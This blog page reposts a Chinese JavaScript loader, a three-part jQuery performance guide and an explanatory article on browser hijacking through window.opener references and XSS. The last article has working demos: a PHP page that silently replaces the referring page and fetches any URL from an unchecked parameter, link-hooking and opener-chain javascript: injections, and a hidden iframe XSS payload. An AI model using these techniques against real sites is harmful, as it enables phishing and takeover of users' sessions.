手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆
浏览模式: 标准 | 列表分类:Javascript

js Loader

Javascript的后加载,很多人都写过,这是为了防止最初加载的JS过多影响网速 。看到风雪之隅写了一个,看上去挺漂亮就转载了一下。。。

原文:http://www.laruence.com/2009/05/21/829.html

示例:

JavaScript代码
  1. var loader = Loader;  
  2.   loader.onReady = function(){  
  3.      alert('全部载入完成');  
  4.   }  
  5.       
  6.   loader.on('onLoad'function(name) {  
  7.       alert(name + '载入完成');  
  8.   });  
  9.   loader.load([  
  10.       'http://www.laruence.com/1.js',  
  11.       'http://www.laruence.com/test.js',  
  12.       'http://www.laruence.com/main.js'  
  13.     ]  
  14.   );  


源码:

JavaScript代码
  1. /** 
  2.  * Eve Js Loader 
  3.  * @version 1.0.1 
  4.  * @author laruence<laruence at yahoo.com.cn> 
  5.  * @copyright (c) 2009 www.laruence.com 
  6.  */  
  7.    
  8. /** 
  9.  * a global object instance, you can easily change to a class definition 
  10.  */  
  11. var Loader = {  
  12.     /** 
  13.      * @var onLoad  when load a individual file completed , 
  14.      * this event will be fired * @param string name  loaded script file name 
  15.      */  
  16.     onLoad : function(name){},  
  17.     /** 
  18.      * @var onReady when all scripts loaded, this event will be fired 
  19.      */  
  20.     onReady : function(){},  
  21.     /** 
  22.      * a empty constructor 
  23.      */  
  24.     init : function(container) {  
  25.     },  
  26.     /** 
  27.      * a empty error handler 
  28.      */  
  29.     handlerError : function(e) {  
  30.         alert(e);  
  31.     },  
  32.     /** 
  33.      * event register 
  34.      * @param string evt  event name 
  35.      * @param function handler 
  36.      */  
  37.     on : function(evt, handler) {  
  38.         switch ( evt.toLowerCase() ) {  
  39.             case 'load' :  
  40.                 this.onLoad = handler;  
  41.             break;  
  42.             case 'ready' :  
  43.                 this.onReady = handler;  
  44.             break;  
  45.             default :  
  46.             break;  
  47.         }  
  48.         return true;  
  49.      },  
  50.     /** 
  51.      * private method 
  52.      */  
  53.     _load : function(path, callback) {  
  54.         try {  
  55.             var script = document.createElement('script');  
  56.             script.src = path;  
  57.             script.type = "text/javascript";  
  58.             document.getElementsByTagName("head")[0].appendChild(script);  
  59.             if( script.addEventListener ) {  
  60.                 script.addEventListener("load", callback, false);  
  61.             } else if(script.attachEvent) {  
  62.                 script.attachEvent("onreadystatechange"function(){  
  63.                         if(script.readyState == 4  
  64.                             || script.readyState == 'complete'  
  65.                             || script.readyState == 'loaded') {  
  66.                             callback();  
  67.                         }  
  68.                 });  
  69.             }  
  70.         } catch(e) {  
  71.             this.handlerError(e);  
  72.             callback();  
  73.         }  
  74.     },  
  75.     /** 
  76.      * start loding process 
  77.      * @param array scripts  files want to be loaded 
  78.      */  
  79.     load : function(scripts) {  
  80.         var total = scripts.length;  
  81.         var _self  = this;  
  82.         var indicator = arguments[1] || 0;  
  83.         if ( indicator >= total ) {  
  84.             _self.onReady();  
  85.             return true;  
  86.         }  
  87.    
  88.         var callee = arguments.callee;  
  89.         var script = scripts[indicator];  
  90.         this._load(script, function() {  
  91.             _self.onLoad(script);  
  92.             callee.apply(_self, [scripts, ++indicator]);  
  93.         });  
  94.         return true;  
  95.     }  
  96. }  


说到这里,其实,又让我想起了code.google.com提供的googleapi的加载方式,他提供了一些常用JS类库的加载,首先,它加载了googleapi:http://www.google.com/jsapi,然后就可以调用了

XML/HTML代码
  1. <script src="http://www.google.com/jsapi"></script>  
  2. <script>  
  3.   // Load jQuery  
  4.   google.load("jquery", "1");  
  5.   
  6.   // on page load complete, fire off a jQuery json-p query  
  7.   // against Google web search  
  8.   google.setOnLoadCallback(function() {  
  9.     $.getJSON("http://ajax.googleapis.com/ajax/services/search/web?q=google&v=1.0&callback=?",  
  10.   
  11.       // on search completion, process the results  
  12.       function (data) {  
  13.         if (data.responseData.results &&  
  14.             data.responseData.results.length > 0) {  
  15.           var results = data.responseData.results;  
  16.             
  17.           for (var i=0; i < results.length; i++) {  
  18.             // Display each result however you wish  
  19.             alert(results[i].titleNoFormatting);  
  20.           }      
  21.         }  
  22.           
  23.       });  
  24.     });  
  25. </script>  

方式和原理差不多。仅作参考吧。。。

Tags: loader

jQuery性能优化指南(3)

原文来自:https://docs.google.com/View?docID=dft4vhq9_23cnccgwc7&revision=_latest

8,尽量使用ID代替Class。
 

前面性能优化已经说过,ID选择器的速度是最快的。所以在HTML代码中,能使用ID的尽量使用ID来代替class。
看下面的一个例子:

CSS代码
  1. // 创建一个list  
  2. var $myList = $('#myList');  
  3. var myListItems = '<ul>';  
  4. for (i = 0; i < 1000; i++) {  
  5.      myListItems += '<li class="listItem' + i + '">This is a list item</li>'; //这里使用的是class  
  6.  }  
  7. myListItems += '</ul>';  
  8. $myList.html(myListItems);  
  9. // 选择每一个 li  
  10.  for (i = 0; i < 1000; i++) {  
  11.     var selectedItem = $('.listItem' + i);  
  12. }   

 

在代码最后,选择每个li的过程中,总共用了5066毫秒,超过5秒了。

接着我们做一个对比,用ID代替class:

JavaScript代码
  1. // 创建一个list  
  2. var $myList = $('#myList');  
  3. var myListItems = '<ul>';  
  4. for (i = 0; i < 1000; i++) {  
  5.     myListItems += '<li id="listItem' + i + '">This is a list item</li>'//这里使用的是id  
  6. }  
  7. myListItems += '</ul>';  
  8. $myList.html(myListItems);  
  9.  // 选择每一个 li  
  10. for (i = 0; i < 1000; i++) {  
  11.      var selectedItem = $('#listItem' + i);  
  12. }   
 

在上段代码中,选择每个li总共只用了61毫秒,相比class的方式,将近快了100倍。
 
 

 

9,给选择器一个上下文
 

jQuery选择器中有一个这样的选择器,它能指定上下文。
jQuery( expression, context );

通过它,能缩小选择器在DOM中搜索的范围,达到节省时间,提高效率。
普通方式:
$('.myDiv')
改进方式:
$('.myDiv' , $("#listItem") )
 
 

10,慎用 .live()方法(应该说尽量不要使用)
 

这是jQuery1.3.1版本之后增加的方法,这个方法的功能就是为 新增的DOM元素 动态绑定事件。
但对于效率来说,这个方法比较占用资源。所以请尽量不要使用它。
例如有这么一段代码:

XML/HTML代码
  1. <script type="text/javascript" >  
  2. $(function(){  
  3.     $("p").click(function(){  
  4.          alert( $(this).text() );  
  5.      });  
  6.     $("button").click(function(){  
  7.         $("<p>this is second p</p>").appendTo("body");  
  8.     });  
  9. })   
  10. </script>  
  11. <body>  
  12.     <p>this is first p</p> <button>add</button>  
  13. </body>  

运行后,你会发现 新增 的 p元素,并没用被绑定click事件。

你可以改成.live("click")方式解决此问题,代码如下:

JavaScript代码
  1. $(function(){  
  2.     $("p").live("click",function(){ //改成live方式  
  3.          alert( $(this).text() );  
  4.      });  
  5.     $("button").click(function(){ $("<p>this is second p</p>").appendTo("body"); });  
  6. })  

但我并不建议大家这么做,我想用另一种方式去解决这个问题,代码如下:

JavaScript代码
  1. $(function(){  
  2.     $("p").click(function(){  
  3.         alert( $(this).text() );  
  4.     });  
  5.     $("button").click(function(){  
  6.         $("<p>this is second p</p>").click(function(){  //为新增的元素重新绑定一次  
  7.                 alert( $(this).text() );  
  8.         }).appendTo("body");  
  9.     });  
  10. })  

虽然我把绑定事件重新写了一次,代码多了点,但这种方式的效率明显高于live()方式,
特别是在频繁的DOM操作中,这点非常明显。


 

11,子选择器和后代选择器

 

后代选择器经常用到,比如:$("#list  p");
后代选择器获取的是元素内部所有元素。

而有时候实际只要获取 子元素,那么就不应该使用后代选择器。
应该使用子选择器,代码如下:
$("#list > p");

 

 

12,使用data()方法存储临时变量

 

下面是一段非常简单的代码, 

JavaScript代码
  1. $(function(){  
  2.     var flag = false;  
  3.     $("button").click(function(){  
  4.         if(flag){  
  5.             $("p").text("true");  
  6.             flag=false;  
  7.         }else{  
  8.             $("p").text("false");  
  9.             flag=true;  
  10.         }  
  11.     });  
  12. })  

改用data()方式后,代码如下:

JavaScript代码
  1. $(function(){  
  2.     $("button").click(function(){  
  3.         if( $("p").data("flag") ){  
  4.             $("p").text("true");  
  5.             $("p").data("flag",false);  
  6.         }else{  
  7.              $("p").text("false");  
  8.              $("p").data("flag",true);  
  9.         }  
  10.     });  
  11.   
  12. })  
jQuery性能优化指南(3)到此结束。
 
相信你也有你的idea,请共享出来吧。 Email : cssrain@gmail.com
 
我的blog:http://www.cssrain.cn

Tags: jquery

jQuery性能优化指南(2)

原文来自:https://docs.google.com/View?docID=dft4vhq9_22g93szvdd&revision=_latest

4,对直接的DOM操作进行限制
 
这里的基本思想是在内存中建立你确实想要的东西,然后更新DOM 。
这并不是一个jQuery最佳实践,但必须进行有效的JavaScript操作 。直接的DOM操作速度很慢。

例如,你想动态的创建一组列表元素,千万不要这样做,如下所示:

JavaScript代码
  1. var top_100_list = [...], // 假设这里是100个独一无二的字符串  
  2. $mylist = $("#mylist"); // jQuery 选择到 <ul> 元素  
  3. for (var i=0, l=top_100_list.length; i<l; i++){  
  4.    $mylist.append("<li>" + top_100_list[i] + "</li>");  
  5. }  

我们应该将整套元素字符串在插入进dom中之前先全部创建好,如下所示:

JavaScript代码
  1. var top_100_list = [...],$mylist = $("#mylist"), top_100_li = ""// 这个变量将用来存储我们的列表元素  
  2. for (var i=0, l=top_100_list.length; i<l; i++){  
  3.    top_100_li += "<li>" + top_100_list[i] + "</li>";  
  4. }  
  5. $mylist.html(top_100_li);  
注:记得以前还看过一朋友写过这样的代码:
JavaScript代码
  1. for (i = 0; i < 1000; i++) {  
  2.     var $myList = $('#myList');  
  3.     $myList.append('This is list item ' + i);  
  4. }   

呵呵,你应该已经看出问题所在了。既然把#mylist循环获取了1000次!!!
 

5,冒泡
 

除非在特殊情况下, 否则每一个js事件(例如:click, mouseover等.)都会冒泡到父级节点。
当我们需要给多个元素调用同个函数时这点会很有用。

代替这种效率很差的多元素事件监听的方法就是, 你只需向它们的父节点绑定一次。

比如, 我们要为一个拥有很多输入框的表单绑定这样的行为: 当输入框被选中时为它添加一个class

传统的做法是,直接选中input,然后绑定focus等,如下所示:

JavaScript代码
  1. $("#entryform input").bind("focus"function(){  
  2.     $(this).addClass("selected");  
  3. }).bind("blur"function(){  
  4.     $(this).removeClass("selected");  
  5. });  

当然上面代码能帮我们完成相应的任务,但如果你要寻求更高效的方法,请使用如下代码:

JavaScript代码
  1. $("#entryform").bind("focus"function(e){  
  2.     var $cell = $(e.target); // e.target 捕捉到触发的目标元素  
  3.     $cell.addClass("selected");  
  4. }).bind("blur"function(e){  
  5.     var $cell = $(e.target);  
  6.     $cell.removeClass("selected");  
  7. });  
通过在父级监听获取焦点和失去焦点的事件,对目标元素进行操作。
在上面代码中,父级元素扮演了一个调度员的角色, 它可以基于目标元素绑定事件。
如果你发现你给很多元素绑定了同一个事件监听, 那么现在的你肯定知道哪里做错了。
 
同理,在Table操作时,我们也可以使用这种方式加以改进代码:
普通的方式:
JavaScript代码
  1. $('#myTable td').click(function(){  
  2.     $(this).css('background''red');  
  3. });   

 

 改进方式:

JavaScript代码
  1. $('#myTable').click(function(e) {  
  2.      var $clicked = $(e.target);  
  3.      $clicked.css('background''red');  
  4. });   

假设有100个td,在使用普通的方式的时候,你绑定了100个事件。
在改进方式中,你只为一个元素绑定了1个事件,
至于是100个事件的效率高,还是1个事件的效率高,相信你也能自行分辨了。
 
 

6,推迟到 $(window).load
 

jQuery对于开发者来说有一个很诱人的东西, 可以把任何东西挂到$(document).ready下。
尽管$(document).rady 确实很有用, 它可以在页面渲染时,其它元素还没下载完成就执行。
如果你发现你的页面一直是载入中的状态,很有可能就是$(document).ready函数引起的。

你可以通过将jQuery函数绑定到$(window).load 事件的方法来减少页面载入时的cpu使用率。
它会在所有的html(包括<iframe>)被下载完成后执行。

JavaScript代码
  1. $(window).load(function(){  
  2.     // 页面完全载入后才初始化的jQuery函数.  
  3. });  

一些特效的功能,例如拖放, 视觉特效和动画, 预载入隐藏图像等等,都是适合这种技术的场合。
 

7,压缩JavaScript
 
压缩和最小化你的JavaScript文件。
 
在线压缩地址: http://dean.edwards.name/packer/
压缩之前,请保证你的代码的规范性,否则可能失败,导致Js错误。
 
 
 
jQuery性能优化指南(2)到此结束,指南(3)正在进行中....
 
相信你也有你的idea,请共享出来吧。 Email : cssrain@gmail.com
 
 
英文原文:http://www.artzstudio.com/2009/04/jquery-performance-rules/
中文翻译:http://rlog.cn/350 & http://cssrain.cn

 

Tags: jquery

jQuery性能优化指南(1)

原文来自:https://docs.google.com/View?docid=dft4vhq9_21hjb7j9fz&revision=_latest

1,总是从ID选择器开始继承
 
在jQuery中最快的选择器是ID选择器,因为它直接来自于JavaScript的getElementById()方法。

例如有一段HTML代码:

XML/HTML代码
  1. <div id="content">  
  2. <form method="post" action="#">  
  3. <h2>交通信号灯</h2>  
  4. <ul id="traffic_light">  
  5. <li><input type="radio" class="on" name="light" value="red" /> 红色</li>  
  6. <li><input type="radio" class="off" name="light" value="yellow" /> 黄色</li>  
  7. <li><input type="radio" class="off" name="light" value="green" /> 绿色</li>  
  8. </ul>  
  9. <input class="button" id="traffic_button" type="submit" value="Go" />  
  10. </form>  
  11. </div>  

如果采用下面的选择器,那么效率是低效的。
var traffic_button = $("#content .button");

因为button已经有ID了,我们可以直接使用ID选择器。如下所示:
var traffic_button = $("#traffic_button");

当然 这只是对于单一的元素来讲。如果你需要选择多个元素,这必然会涉及到 DOM遍历和循环,
为了提高性能,建议从最近的ID开始继承。
如下所示:
var traffic_lights = $("#traffic_light input");

 

2,在class前使用tag(标签名)
 

在jQuery中第二快的选择器是tag(标签)选择器( 比如:$("head") )。
跟ID选择器累时,因为它来自原生的getElementsByTagName() 方法。

继续看刚才那段HTML代码:

XML/HTML代码
  1. <div id="content">  
  2.     <form method="post" action="#">  
  3.     <h2>交通信号灯</h2>  
  4.     <ul id="traffic_light">  
  5.     <li><input type="radio" class="on" name="light" value="red" /> 红色</li>  
  6.     <li><input type="radio" class="off" name="light" value="yellow" /> 黄色</li>  
  7.     <li><input type="radio" class="off" name="light" value="green" /> 绿色</li>  
  8.     </ul>  
  9.     <input class="button" id="traffic_button" type="submit" value="Go" />  
  10.     </form>  
  11. </div>  
比如需要选择 红绿 单选框,
那么可以使用一个tag name来限制(修饰)class ,如下所示:
var active_light = $("input.on");
当然也可以结合 就近的ID,如下所示:
var active_light = $("#traffic_light input.on");


在使用tag来修饰class的时候,我们需要注意以下几点:
 (1) 不要使用tag来修饰ID,如下所示:
  var content = $("div#content");
  这样一来,选择器会先遍历所有的div元素,然后匹配#content。
 (好像jQuery从1.3.1开始改变了选择器核心后,不存在这个问题了。暂时无法考证。)

 (2)不要画蛇添足的使用ID来修饰ID,如下所示:
  var traffic_light = $("#content #traffic_light");

 
注:如果使用属性选择器,也请尽量使用tag来修饰,如下所示:
$('p[row="c3221"]').html();而不是这样:$('[row="c3221"]').html();
 

3,将jQuery对象缓存起来
 

把jQuery对象缓存起来 就是要告诉我们 要养成将jQuery对象缓存进变量的习惯。
下面是一个jQuery新手写的一段代码:

JavaScript代码
  1. $("#traffic_light input.on").bind("click"function(){ ... });  
  2. $("#traffic_light input.on").css("border""1px dashed yellow");  
  3. $("#traffic_light input.on").css("background-color""orange");  
  4. $("#traffic_light input.on").fadeIn("slow");  

但切记不要这么做。

我们应该先将对象缓存进一个变量然后再操作,如下所示:

JavaScript代码
  1. var $active_light = $("#traffic_light input.on");  
  2. $active_light.bind("click"function(){ ... });  
  3. $active_light.css("border""1px dashed yellow");  
  4. $active_light.css("background-color""orange");  
  5. $active_light.fadeIn("slow");  

记住,永远不要让相同的选择器在你的代码里出现多次.

注:(1)为了区分普通的JavaScript对象和jQuery对象,可以在变量首字母前加上 $ 符号。
 (2)上面代码可以使用jQuery的链式操作加以改善。如下所示:

JavaScript代码
  1. var $active_light = $("#traffic_light input.on");  
  2. $active_light.bind("click"function(){ ... })  
  3.                     .css("border""1px dashed yellow")  
  4.                     .css("background-color""orange")  
  5.                     .fadeIn("slow");  
 

如果你打算在其他函数中使用jQuery对象,那么你必须把它们缓存到全局环境中。
如下代码所示:

JavaScript代码
  1. // 在全局范围定义一个对象 (例如: window对象)  
  2. window.$my = {  
  3.     head : $("head"),  
  4.     traffic_light : $("#traffic_light"),  
  5.     traffic_button : $("#traffic_button")  
  6. };  
  7. function do_something(){  
  8.     // 现在你可以引用存储的结果并操作它们  
  9.     var script = document.createElement("script");  
  10.      $my.head.append(script);  
  11.     // 当你在函数内部操作是, 可以继续将查询存入全局对象中去.  
  12.     $my.cool_results = $("#some_ul li");  
  13.     $my.other_results = $("#some_table td");  
  14.     // 将全局函数作为一个普通的jquery对象去使用.  
  15.     $my.other_results.css("border-color""red");  
  16.     $my.traffic_light.css("border-color""green");  
  17. }  
  18.   
  19. //你也可以在其他函数中 使用它   

jQuery性能优化指南(1)到此结束,请查看指南(2)。

 
 
英文原文:http://www.artzstudio.com/2009/04/jquery-performance-rules/
中文翻译:http://rlog.cn/350 & http://cssrain.cn

Tags: jquery

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

本文和上一篇 一样,我主要是为了了解攻击方法才记录的。有些东西确实没有注意过。以后要多注意啊。不然,就成为别人攻击的目标了。

原文:http://hi.baidu.com/isbx/blog/item/c9baf31f5b36cd6bf724e421.html

很多断行,已经重新排 版

|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|

[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考


一、前言

    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。


二、同源策略简叙

    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。


三、理解window对象的同源策略

    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:

JavaScript代码
  1. <script language="javascript">  
  2. for(p in window) document.write(p+"<br>");  
  3. </script>  

    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,这些属性和方法就必须遵循同源策略。

    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
XML/HTML代码
  1. <script language="javascript">    
  2. function allPrpos(obj) {       
  3.       var props = "<table><tr><td>名称</td><td>值</td>";            
  4.       for(var p in obj){           
  5.             if(typeof(obj[p])=="function"){    
  6.                    obj[p]();    
  7.              }else{                       
  8.                   try    
  9.                    {    
  10.                           props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";    
  11.                    }    
  12.                   catch (ex)    
  13.                    {    
  14.                     
  15.                           props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";    
  16.                    }    
  17.                         
  18.              }    
  19.        }    
  20.     
  21.        document.write(props+"</table>");    
  22. }    
  23.     
  24. function createWin() {  
  25. newWin = window.open ("http://www.google.com");  
  26. setTimeout(function(){allPrpos(newWin)},2000);  
  27. }  
  28.   
  29. </script>  
  30.   
  31. <button onclick='createWin()'>创建一个非同源子窗口测试</button>  
四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进行测试,会发现父窗口可以控制非同源子窗口location属性值。
XML/HTML代码
  1. <script language="javascript">  
  2. function createWin() {  
  3. newWin = window.open ("http://www.google.com");  
  4. setTimeout(function(){newWin.location="http://www.80sec.com"},2000);  
  5. }  
  6. </script>  
  7.   
  8. <button onclick='createWin()'>创建一个非同源子窗口测试</button>  

4.2 子窗口引用父窗口的同源策略问题

    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
JavaScript代码
  1. javascript:window.opener.location = "http://www.80sec.com";void(0);  
五、利用窗口引用漏洞劫持浏览器

    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下会产生什么可怕的后果。

    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php。

 这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可以做更多的事情,所有的一切仅仅是因为点击了一个链接。

hjk_ref.php代码
  1. <?php  
  2. if (array_key_exists("HTTP_REFERER"$_SERVER)) {  
  3. $Url_Mirror = $_SERVER["HTTP_REFERER"];  
  4. }  
  5. if(isset ($_GET['ref'])) {  
  6. echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';  
  7. }  
  8. ?>  
  9.   
  10. <script language="javascript">  
  11. setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);  
  12. </script>  
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


六、利用XSS漏洞劫持浏览器

    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起讨论跨站师的终极技巧:


6.1 正向跨窗口劫持

    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话框脚本。
hijack_open.js代码
  1. javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0); 
6.2 反向跨窗口劫持

    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话框脚本。

hijack_opener.js代码
  1. javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0); 

6.3 极度危险的跨框架窗口引用劫持

    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个非持久型的XSS,如下:
XML/HTML代码
  1. <iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>  
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。

hijack_frame_opener.js代码
  1. <script>  
  2. window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";  
  3. </script>  

6.4 极度危险的正反向跨窗口递归劫持

    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过异常处理规避之间跨域页面的访问异常,代码如下:
JavaScript代码
  1. javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);  
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可以劫持B域之前的A域页面,从而实现“隔空打击”。

    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。

    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。


6.5 完全控制浏览器

    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站师的终极目标 - 完全控制浏览器。


七、后记

    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

Tags: xss, 安全